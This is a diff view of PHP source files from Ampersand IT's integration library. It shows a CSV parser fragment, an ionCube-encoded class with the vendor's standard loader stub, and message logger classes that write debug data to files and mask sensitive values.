* @return array
|
197 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
198 |
+
*/
|
199 |
+
protected function _getDefaultConfigData()
|
200 |
+
{
|
201 |
+
return array(
|
202 |
+
'headers' => self::NULL_HEADERS,
|
203 |
+
'delimiter' => ',',
|
204 |
+
'enclosure' => '"',
|
205 |
+
'escape' => '\\',
|
206 |
+
'item_class' => 'Ampersand_Object',
|
207 |
+
'return_class' => null,
|
208 |
+
);
|
209 |
+
}
|
210 |
+
|
211 |
+
/**
|
212 |
+
* Replaces strings \n, \r and \t with their one-byte counterparts
|
213 |
+
*
|
214 |
+
* @param string $string
|
215 |
+
* @return string
|
216 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
217 |
+
*/
|
218 |
+
protected function _filterSpecialCharacters($string)
|
219 |
+
{
|
220 |
+
return str_replace(array('\n', '\r', '\t'), array("\n", "\r", "\t"), $string);
|
221 |
+
}
|
222 |
+
}
|
lib/Ampersand/Integration/Message/Incoming.php
ADDED
@@ -0,0 +1,115 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php //003ab
|
2 |
+
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
|
3 |
+
?>
|
4 |
+
4+oV55sL1iSZIVleBbMJvDaRRFREJCf6gf5wyAwiPoshqe2sLohCD425vIiEQSK424vbAoIW2/Ce
|
5 |
+
mnlpLrR8QUsb//kzK1ARQqLhW/eUHZ5v7mby9wh4J2eI6VDG6Ove/cFky+zzhIb5HLMxMAPpkAR7
|
6 |
+
TgdfBfJq8ds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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Message_Logger_Abstract extends Ampersand_Object
|
19 |
+
implements Ampersand_Integration_Message_Logger_Interface
|
20 |
+
{
|
21 |
+
protected $_obfuscatorProvider;
|
22 |
+
|
23 |
+
public function setObfuscatorProvider(Ampersand_ClassProvider $provider)
|
24 |
+
{
|
25 |
+
$this->_obfuscatorProvider = $provider;
|
26 |
+
|
27 |
+
return $this;
|
28 |
+
}
|
29 |
+
|
30 |
+
public function getObfuscatorProvider()
|
31 |
+
{
|
32 |
+
if (is_null($this->_obfuscatorProvider)) {
|
33 |
+
$this->_obfuscatorProvider = new Ampersand_Integration_Message_Obfuscator_Provider();
|
34 |
+
}
|
35 |
+
|
36 |
+
return $this->_obfuscatorProvider;
|
37 |
+
}
|
38 |
+
|
39 |
+
/**
|
40 |
+
* Outputs the provided data to a logging interface, e.g. a file, database, email, etc.
|
41 |
+
*
|
42 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
43 |
+
* @return Ampersand_Integration_Message_Logger_Interface
|
44 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
45 |
+
*/
|
46 |
+
public function log(Ampersand_Integration_Debug_DebugInterface $debug)
|
47 |
+
{
|
48 |
+
$dataToLog = $this->_beforeLog($debug);
|
49 |
+
$output = $this->_log($dataToLog, $debug);
|
50 |
+
$this->_afterLog($output, $dataToLog, $debug);
|
51 |
+
|
52 |
+
return $this;
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* Prepares the data structure to be logged and executes any functionality which needs to be
|
57 |
+
* executed before logging is done
|
58 |
+
*
|
59 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
60 |
+
* @return mixed
|
61 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
62 |
+
*/
|
63 |
+
protected function _beforeLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
64 |
+
{
|
65 |
+
$data = $this->_getDataToLog($debug);
|
66 |
+
|
67 |
+
return $data;
|
68 |
+
}
|
69 |
+
|
70 |
+
/**
|
71 |
+
* Extracts the final data structure to be logged from the input data structure. This might be
|
72 |
+
* a string, an array, or another kind of data structure
|
73 |
+
*
|
74 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
75 |
+
* @return mixed
|
76 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
77 |
+
*/
|
78 |
+
protected function _getDataToLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
79 |
+
{
|
80 |
+
return $debug->getData();
|
81 |
+
}
|
82 |
+
|
83 |
+
/**
|
84 |
+
* Outputs the provided data to a logging interface, e.g. a file, database, email, etc.
|
85 |
+
*
|
86 |
+
* @param mixed $dataToLog Data structure which has been prepared for logging
|
87 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug The input data structure
|
88 |
+
* @return mixed
|
89 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
90 |
+
*/
|
91 |
+
protected function _log($dataToLog, Ampersand_Integration_Debug_DebugInterface $debug)
|
92 |
+
{
|
93 |
+
return null;
|
94 |
+
}
|
95 |
+
|
96 |
+
/**
|
97 |
+
* Executes any functionality which needs to be executed after logging has been done
|
98 |
+
*
|
99 |
+
* @param mixed $logOutput Whatever was returned by the _log() method call
|
100 |
+
* @param mixed $dataToLog The data structure which was logged
|
101 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug The input data structure
|
102 |
+
* @return Ampersand_Integration_Message_Logger_Interface
|
103 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
104 |
+
*/
|
105 |
+
protected function _afterLog($logOutput, $loggedData,
|
106 |
+
Ampersand_Integration_Debug_DebugInterface $debug
|
107 |
+
) {
|
108 |
+
return $this;
|
109 |
+
}
|
110 |
+
|
111 |
+
/**
|
112 |
+
*
|
113 |
+
* @param mixed $value
|
114 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
115 |
+
* @return mixed
|
116 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
117 |
+
*/
|
118 |
+
protected function _obfuscateValue($value, Ampersand_Integration_Debug_DebugInterface $debug)
|
119 |
+
{
|
120 |
+
if ($value instanceof Varien_Object) {
|
121 |
+
$data = $this->_obfuscateValue($value->getData(), $debug);
|
122 |
+
$value->setData($data);
|
123 |
+
|
124 |
+
return $value;
|
125 |
+
}
|
126 |
+
|
127 |
+
if (is_object($value)) {
|
128 |
+
return $value;
|
129 |
+
}
|
130 |
+
|
131 |
+
if (is_array($value)) {
|
132 |
+
foreach ($value as $_key => $_value) {
|
133 |
+
$value[$_key] = $this->_obfuscateValue($_value, $debug);
|
134 |
+
}
|
135 |
+
|
136 |
+
return $value;
|
137 |
+
}
|
138 |
+
|
139 |
+
foreach ($debug->getValuesToObfuscate() as $_type => $_valuesToObfuscate) {
|
140 |
+
/* @var $_obfuscator Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface */
|
141 |
+
$_obfuscator = $this->_getObfuscator($_type);
|
142 |
+
foreach ($_valuesToObfuscate as $__valueToObfuscate) {
|
143 |
+
$value = $_obfuscator->obfuscate($value, $__valueToObfuscate);
|
144 |
+
}
|
145 |
+
}
|
146 |
+
|
147 |
+
return $value;
|
148 |
+
}
|
149 |
+
|
150 |
+
/**
|
151 |
+
* Get the obfuscator of the given type, e.g. CC, password, etc.
|
152 |
+
*
|
153 |
+
* @param string $type
|
154 |
+
* @return Ampersand_Integration_Message_Obfuscator_ObfuscatorInterface
|
155 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
156 |
+
*/
|
157 |
+
protected function _getObfuscator($type)
|
158 |
+
{
|
159 |
+
return $this->getObfuscatorProvider()->getSingleton($type);
|
160 |
+
}
|
161 |
+
}
|
lib/Ampersand/Integration/Message/Logger/Exception.php
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integ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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Logger_File
|
19 |
+
extends Ampersand_Integration_Message_Logger_Abstract
|
20 |
+
{
|
21 |
+
const APPEND = 'append'; // Append to existing file - only valid for file_exists action
|
22 |
+
const REPLACE = 'truncate'; // Replace existing file - file_exists
|
23 |
+
const MODIFY = 'modify'; // Overwrite at start of existing file - file_exists
|
24 |
+
const NEW_FILE = 'new_file'; // Create a new file with a unique name - file_exists
|
25 |
+
const FAIL = 'fail'; // Throw an exception - file_exists, file_not_exists
|
26 |
+
const CREATE = 'create'; // Create file - file_not_exists
|
27 |
+
|
28 |
+
/** @var string */
|
29 |
+
protected $_baseDirectoryPath;
|
30 |
+
/** @var string */
|
31 |
+
protected $_directoryPath;
|
32 |
+
/** @var string */
|
33 |
+
protected $_filename;
|
34 |
+
/** @var string */
|
35 |
+
protected $_filenameExtension = 'log';
|
36 |
+
/** @var string */
|
37 |
+
protected $_fileExistsAction = self::APPEND;
|
38 |
+
/** @var string */
|
39 |
+
protected $_fileNotExistsAction = self::CREATE;
|
40 |
+
|
41 |
+
/**
|
42 |
+
* Prepares the data structure to be logged and executes any functionality which needs to be
|
43 |
+
* executed before logging is done
|
44 |
+
*
|
45 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
46 |
+
* @return mixed
|
47 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
48 |
+
*/
|
49 |
+
protected function _beforeLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
50 |
+
{
|
51 |
+
$this->_prepareDirectoryForWrite($this->getFullDirectoryPath($debug));
|
52 |
+
|
53 |
+
return parent::_beforeLog($debug);
|
54 |
+
}
|
55 |
+
|
56 |
+
/**
|
57 |
+
* Extracts a string to be logged from the input data structure
|
58 |
+
*
|
59 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
60 |
+
* @return string
|
61 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
62 |
+
*/
|
63 |
+
protected function _getDataToLog(Ampersand_Integration_Debug_DebugInterface $debug)
|
64 |
+
{
|
65 |
+
return print_r($debug->getData(), true);
|
66 |
+
}
|
67 |
+
|
68 |
+
/**
|
69 |
+
* Outputs the provided data structure to file
|
70 |
+
*
|
71 |
+
* @param mixed $dataToLog The string to save to file
|
72 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug The input data structure
|
73 |
+
* @return mixed The filepath which the log file was written to
|
74 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
75 |
+
*/
|
76 |
+
protected function _log($data, Ampersand_Integration_Debug_DebugInterface $debug)
|
77 |
+
{
|
78 |
+
$filePath = $this->_getFinalFilePath(
|
79 |
+
$this->getFullDirectoryPath($debug),
|
80 |
+
$this->getFilename($debug, false),
|
81 |
+
$this->getFilenameExtension($debug)
|
82 |
+
);
|
83 |
+
$data = $this->_obfuscateValue($data, $debug);
|
84 |
+
$this->_writeFile($data, $filePath);
|
85 |
+
|
86 |
+
return $filePath;
|
87 |
+
}
|
88 |
+
|
89 |
+
/**
|
90 |
+
* Writes a string to a given file path
|
91 |
+
*
|
92 |
+
* @param string $data
|
93 |
+
* @param string $filePath
|
94 |
+
* @return Ampersand_Integration_Message_Logger_File
|
95 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
96 |
+
*/
|
97 |
+
protected function _writeFile($data, $filePath)
|
98 |
+
{
|
99 |
+
if (false === ($fileHandle = @fopen($filePath, $this->_getFileMode()))) {
|
100 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
101 |
+
'Unable to open log file for write'
|
102 |
+
);
|
103 |
+
}
|
104 |
+
|
105 |
+
if (false === fwrite($fileHandle, $data)) {
|
106 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
107 |
+
'Unable to write to log file'
|
108 |
+
);
|
109 |
+
}
|
110 |
+
|
111 |
+
fclose($fileHandle);
|
112 |
+
|
113 |
+
return $this;
|
114 |
+
}
|
115 |
+
|
116 |
+
/**
|
117 |
+
* Builds and returns the final file path to write the log file to
|
118 |
+
*
|
119 |
+
* @param string $directoryPath
|
120 |
+
* @param string $filename
|
121 |
+
* @param string $filenameExtension
|
122 |
+
* @return string
|
123 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
124 |
+
*/
|
125 |
+
protected function _getFinalFilePath($directoryPath, $filename, $filenameExtension)
|
126 |
+
{
|
127 |
+
$filePath = $this->_buildFilePath($directoryPath, $filename, $filenameExtension);
|
128 |
+
|
129 |
+
if (!file_exists($filePath)) {
|
130 |
+
$this->_handleFileNotExists($filePath);
|
131 |
+
} else if (self::NEW_FILE === $this->onFileExists()) {
|
132 |
+
$filePath = $this->_getUnusedFilePath($directoryPath, $filename, $filenameExtension);
|
133 |
+
}
|
134 |
+
|
135 |
+
return $filePath;
|
136 |
+
}
|
137 |
+
|
138 |
+
/**
|
139 |
+
* Handles missing file when we are trying to write the log file. Generally, this will not do
|
140 |
+
* anything as the default configuration specifies that files should be created if they do not
|
141 |
+
* exist. However, if the configuration specifies that we should only update and not create
|
142 |
+
* files, this method may throw an exception
|
143 |
+
*
|
144 |
+
* @param string $filePath
|
145 |
+
* @return Ampersand_Integration_Message_Logger_File
|
146 |
+
* @throws Ampersand_Integration_Message_Logger_Exception
|
147 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
148 |
+
*/
|
149 |
+
protected function _handleFileNotExists($filePath)
|
150 |
+
{
|
151 |
+
switch ($this->onFileNotExists()) {
|
152 |
+
case self::FAIL:
|
153 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
154 |
+
'Log file does not exist'
|
155 |
+
);
|
156 |
+
case self::CREATE:
|
157 |
+
break;
|
158 |
+
default:
|
159 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
160 |
+
'Invalid file not exists action specified'
|
161 |
+
);
|
162 |
+
}
|
163 |
+
|
164 |
+
return $this;
|
165 |
+
}
|
166 |
+
|
167 |
+
/**
|
168 |
+
* Using a provided directory path, filename and file extension, this method returns a file path
|
169 |
+
* which is not already used. This file path may simply be the conjunction of the provided
|
170 |
+
* parameters; or, if that file path is already taken, this method may return that conjunction
|
171 |
+
* with a suffix added to the filename so that the file path is unique
|
172 |
+
*
|
173 |
+
* @param string $directoryPath
|
174 |
+
* @param string $filename
|
175 |
+
* @param string $filenameExtension
|
176 |
+
* @return string
|
177 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
178 |
+
*/
|
179 |
+
protected function _getUnusedFilePath($directoryPath, $filename, $filenameExtension)
|
180 |
+
{
|
181 |
+
$iteration = 1;
|
182 |
+
do {
|
183 |
+
$filenameSuffix = $this->_getFilenameSuffix($iteration);
|
184 |
+
$filePath = $this->_buildFilePath(
|
185 |
+
$directoryPath, $filename, $filenameExtension, $filenameSuffix
|
186 |
+
);
|
187 |
+
|
188 |
+
$iteration++;
|
189 |
+
} while (file_exists($filePath));
|
190 |
+
|
191 |
+
return $filePath;
|
192 |
+
}
|
193 |
+
|
194 |
+
/**
|
195 |
+
* Gets a string to append to a filename in order to try and make it unique
|
196 |
+
*
|
197 |
+
* @param int $iteration The number of attempts which have been made to obtain a unique file
|
198 |
+
* path, including the current one
|
199 |
+
* @return string
|
200 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
201 |
+
*/
|
202 |
+
protected function _getFilenameSuffix($iteration)
|
203 |
+
{
|
204 |
+
if (1 == $iteration) {
|
205 |
+
return '';
|
206 |
+
}
|
207 |
+
|
208 |
+
return "_$iteration";
|
209 |
+
}
|
210 |
+
|
211 |
+
/**
|
212 |
+
* Builds a file path from a directory path, filename, file extension and filename suffix
|
213 |
+
*
|
214 |
+
* @param string $directoryPath
|
215 |
+
* @param string $filename
|
216 |
+
* @param string $filenameExtension
|
217 |
+
* @param string $filenameSuffix OPTIONAL
|
218 |
+
* @return string
|
219 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
220 |
+
*/
|
221 |
+
protected function _buildFilePath($directoryPath, $filename, $filenameExtension,
|
222 |
+
$filenameSuffix = ''
|
223 |
+
) {
|
224 |
+
if ($filenameExtension) {
|
225 |
+
$filenameSuffix .= ".$filenameExtension";
|
226 |
+
}
|
227 |
+
|
228 |
+
return $directoryPath . DIRECTORY_SEPARATOR . $filename . $filenameSuffix;
|
229 |
+
}
|
230 |
+
|
231 |
+
/**
|
232 |
+
* Gets the file mode to use for fopen when obtaining a file handle to use for writing
|
233 |
+
*
|
234 |
+
* @return string
|
235 |
+
* @throws Ampersand_Integration_Message_Logger_Exception
|
236 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
237 |
+
*/
|
238 |
+
protected function _getFileMode()
|
239 |
+
{
|
240 |
+
switch ($this->onFileExists()) {
|
241 |
+
case self::FAIL:
|
242 |
+
case self::NEW_FILE:
|
243 |
+
$mode = 'x+';
|
244 |
+
break;
|
245 |
+
case self::REPLACE:
|
246 |
+
$mode = 'w+';
|
247 |
+
break;
|
248 |
+
case self::APPEND:
|
249 |
+
$mode = 'a+';
|
250 |
+
break;
|
251 |
+
case self::MODIFY:
|
252 |
+
$mode = 'r+';
|
253 |
+
break;
|
254 |
+
default:
|
255 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
256 |
+
'Invalid file exists action specified'
|
257 |
+
);
|
258 |
+
}
|
259 |
+
|
260 |
+
return $mode;
|
261 |
+
}
|
262 |
+
|
263 |
+
/**
|
264 |
+
* Prepares a directory path to be read
|
265 |
+
*
|
266 |
+
* @param string $directoryPath
|
267 |
+
* @return Ampersand_Integration_Message_Logger_File
|
268 |
+
* @throws Ampersand_Integration_Message_Logger_Exception Thrown when directory is not
|
269 |
+
* writeable or could not be created
|
270 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
271 |
+
*/
|
272 |
+
protected function _prepareDirectoryForWrite($directoryPath)
|
273 |
+
{
|
274 |
+
if (@is_writeable($directoryPath)) {
|
275 |
+
return $this;
|
276 |
+
}
|
277 |
+
|
278 |
+
if (@file_exists($directoryPath)) {
|
279 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
280 |
+
'Log directory already exists but is not writeable'
|
281 |
+
);
|
282 |
+
}
|
283 |
+
|
284 |
+
$origMask = @umask(0);
|
285 |
+
if (!@mkdir($directoryPath, 0777, true)) {
|
286 |
+
@umask($origMask);
|
287 |
+
throw new Ampersand_Integration_Message_Logger_Exception(
|
288 |
+
'Unable to create log directory'
|
289 |
+
);
|
290 |
+
}
|
291 |
+
@umask($origMask);
|
292 |
+
|
293 |
+
return $this;
|
294 |
+
}
|
295 |
+
|
296 |
+
/**
|
297 |
+
* Sets the base directory path. Any other paths provided will be assumed to be relative to this
|
298 |
+
* path
|
299 |
+
*
|
300 |
+
* @param string $baseDirectoryPath
|
301 |
+
* @return Ampersand_Integration_Message_Logger_File
|
302 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
303 |
+
*/
|
304 |
+
public function setBaseDirectoryPath($baseDirectoryPath)
|
305 |
+
{
|
306 |
+
$this->_baseDirectoryPath = $baseDirectoryPath;
|
307 |
+
|
308 |
+
return $this;
|
309 |
+
}
|
310 |
+
|
311 |
+
/**
|
312 |
+
* Appends a string to the currently set base directory path
|
313 |
+
*
|
314 |
+
* @param string $suffix
|
315 |
+
* @param bool $addSeparator OPTIONAL
|
316 |
+
* @return Ampersand_Integration_Message_Logger_File
|
317 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
318 |
+
*/
|
319 |
+
public function appendToBaseDirectoryPath($suffix, $addSeparator = true)
|
320 |
+
{
|
321 |
+
$this->_baseDirectoryPath .= ($addSeparator ? DIRECTORY_SEPARATOR : '') . $suffix;
|
322 |
+
|
323 |
+
return $this;
|
324 |
+
}
|
325 |
+
|
326 |
+
/**
|
327 |
+
* Gets the currently set base directory path
|
328 |
+
*
|
329 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
330 |
+
* @return string
|
331 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
332 |
+
*/
|
333 |
+
public function getBaseDirectoryPath()
|
334 |
+
{
|
335 |
+
return $this->_baseDirectoryPath;
|
336 |
+
}
|
337 |
+
|
338 |
+
/**
|
339 |
+
* Sets the directory path to write to, relative to the base directory path
|
340 |
+
*
|
341 |
+
* @param string $directoryPath
|
342 |
+
* @return Ampersand_Integration_Message_Logger_File
|
343 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
344 |
+
*/
|
345 |
+
public function setDirectoryPath($directoryPath)
|
346 |
+
{
|
347 |
+
$this->_directoryPath = $directoryPath;
|
348 |
+
|
349 |
+
return $this;
|
350 |
+
}
|
351 |
+
|
352 |
+
/**
|
353 |
+
* Appends a string to the currently set directory path
|
354 |
+
*
|
355 |
+
* @param string $suffix
|
356 |
+
* @param bool $addSeparator OPTIONAL
|
357 |
+
* @return Ampersand_Integration_Message_Logger_File
|
358 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
359 |
+
*/
|
360 |
+
public function appendToDirectoryPath($suffix, $addSeparator = true)
|
361 |
+
{
|
362 |
+
$this->_directoryPath .= ($addSeparator ? DIRECTORY_SEPARATOR : '') . $suffix;
|
363 |
+
|
364 |
+
return $this;
|
365 |
+
}
|
366 |
+
|
367 |
+
/**
|
368 |
+
* Gets the currently set directory path
|
369 |
+
*
|
370 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
371 |
+
* @return string
|
372 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
373 |
+
*/
|
374 |
+
public function getDirectoryPath(Ampersand_Integration_Debug_DebugInterface $debug)
|
375 |
+
{
|
376 |
+
return $this->_directoryPath;
|
377 |
+
}
|
378 |
+
|
379 |
+
/**
|
380 |
+
* Returns the full path of the directory to which the log file should be written
|
381 |
+
*
|
382 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
383 |
+
* @return string
|
384 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
385 |
+
*/
|
386 |
+
public function getFullDirectoryPath(Ampersand_Integration_Debug_DebugInterface $debug)
|
387 |
+
{
|
388 |
+
$basePath = $this->getBaseDirectoryPath();
|
389 |
+
$subPath = $this->getDirectoryPath($debug);
|
390 |
+
$glue = $basePath && $subPath ? DIRECTORY_SEPARATOR : '';
|
391 |
+
|
392 |
+
return $basePath . $glue . $subPath;
|
393 |
+
}
|
394 |
+
|
395 |
+
/**
|
396 |
+
* Set the filename and, optionally, the file extension to use when writing the log file to disk
|
397 |
+
*
|
398 |
+
* @param string $name
|
399 |
+
* @param string $extension OPTIONAL
|
400 |
+
* @return Ampersand_Integration_Message_Logger_File
|
401 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
402 |
+
*/
|
403 |
+
public function setFilename($name, $extension = null)
|
404 |
+
{
|
405 |
+
$this->_filename = $name;
|
406 |
+
if (!is_null($extension)) {
|
407 |
+
$this->_filenameExtension = $extension;
|
408 |
+
}
|
409 |
+
|
410 |
+
return $this;
|
411 |
+
}
|
412 |
+
|
413 |
+
/**
|
414 |
+
* Gets the currently set filename. Possible to retrieve the file with or without the file
|
415 |
+
* extension
|
416 |
+
*
|
417 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
418 |
+
* @param bool $includeExtension OPTIONAL
|
419 |
+
* @return string
|
420 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
421 |
+
*/
|
422 |
+
public function getFilename(Ampersand_Integration_Debug_DebugInterface $debug, $includeExtension = true)
|
423 |
+
{
|
424 |
+
if ($includeExtension && ($extension = $this->getFilenameExtension())) {
|
425 |
+
$suffix = ".$extension";
|
426 |
+
} else {
|
427 |
+
$suffix = '';
|
428 |
+
}
|
429 |
+
|
430 |
+
return $this->_filename . $suffix;
|
431 |
+
}
|
432 |
+
|
433 |
+
/**
|
434 |
+
* Sets the file extension to use when writing the log file to disk
|
435 |
+
*
|
436 |
+
* @param string $extension
|
437 |
+
* @return Ampersand_Integration_Message_Logger_File
|
438 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
439 |
+
*/
|
440 |
+
public function setFilenameExtension($extension)
|
441 |
+
{
|
442 |
+
$this->_filenameExtension = $extension;
|
443 |
+
|
444 |
+
return $this;
|
445 |
+
}
|
446 |
+
|
447 |
+
/**
|
448 |
+
* Gets the currently set filename extension
|
449 |
+
*
|
450 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
451 |
+
* @return string
|
452 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
453 |
+
*/
|
454 |
+
public function getFilenameExtension(Ampersand_Integration_Debug_DebugInterface $debug)
|
455 |
+
{
|
456 |
+
return $this->_filenameExtension;
|
457 |
+
}
|
458 |
+
|
459 |
+
/**
|
460 |
+
* If a param is provided then this method sets the onFileExists action, otherwise it returns
|
461 |
+
* the current flag. This flag is used to determine what to do if the file path which we wish to
|
462 |
+
* write to is already used
|
463 |
+
*
|
464 |
+
* @param string $flag OPTIONAL
|
465 |
+
* @return mixed If $flag is provided then Ampersand_Integration_Message_Logger_File is
|
466 |
+
* returned; otherwise, returns the current onFileExists flag
|
467 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
468 |
+
*/
|
469 |
+
